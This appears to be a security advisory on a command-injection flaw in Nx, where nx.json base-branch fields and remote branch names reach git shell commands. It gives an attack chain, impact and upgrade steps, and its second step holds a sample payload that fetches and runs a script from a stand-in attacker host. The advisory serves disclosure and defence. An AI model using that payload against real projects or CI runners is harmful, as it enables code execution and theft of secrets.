In the nx import workflow, the GitRepository helper interpolates remote branch names - controlled by the owner of a remote repository - into various git operations including fetch, checkout, and config. An attacker who controls a repository can force arbitrary command execution on any machine that runs an nx command against it. This is particularly critical in CI/CD environments where pull requests containing modified nx.json files are automatically processed by runners. This vulnerability affects Nx versions >= 14.0.0 and < 22.7.8, and versions 23.0.0 to 23.1.0.

Attack Chain

1. Attacker crafts a malicious repository or a pull request containing a manipulated nx.json file.
2. The attacker modifies the defaultBase or affected.defaultBase field in nx.json to include shell command substitution payloads (e.g., $(curl attacker.com/script | sh)).
3. A victim (developer or CI/CD runner) clones the repository or fetches the attacker's pull request branch.
4. The victim executes a standard Nx command, such as nx affected or nx show projects --affected.
5. The Nx CLI reads the manipulated nx.json configuration and builds a git merge-base or git diff shell command string containing the malicious payload.
6. The system executes the resulting string via /bin/sh, triggering the command substitution and executing the attacker's code.
7. The attacker's payload executes with the privileges of the victim user or CI service account.

Impact

Successful exploitation allows for arbitrary command execution on developer workstations or CI/CD build servers. If triggered in a CI environment, this could lead to full compromise of the build pipeline, exfiltration of environment secrets (e.g., cloud credentials, API keys), or the injection of malicious code into downstream software artifacts. There are no known instances of exploitation in the wild at this time, but the vector is highly accessible to anyone capable of submitting a pull request to an Nx-based project.

Recommendation

Prioritized actions for security teams:

• Upgrade all instances of nx to version 22.7.8 or 23.1.1 immediately using the nx migrate command.
• For CI/CD environments, audit build configurations to ensure that nx.json files from untrusted sources or external pull requests are treated as untrusted and not processed automatically in privileged contexts.
• Monitor CI/CD logs for unexpected child processes spawned by the nx CLI or related git sub-processes.
• Restrict nx import usage to verified and trusted repositories only.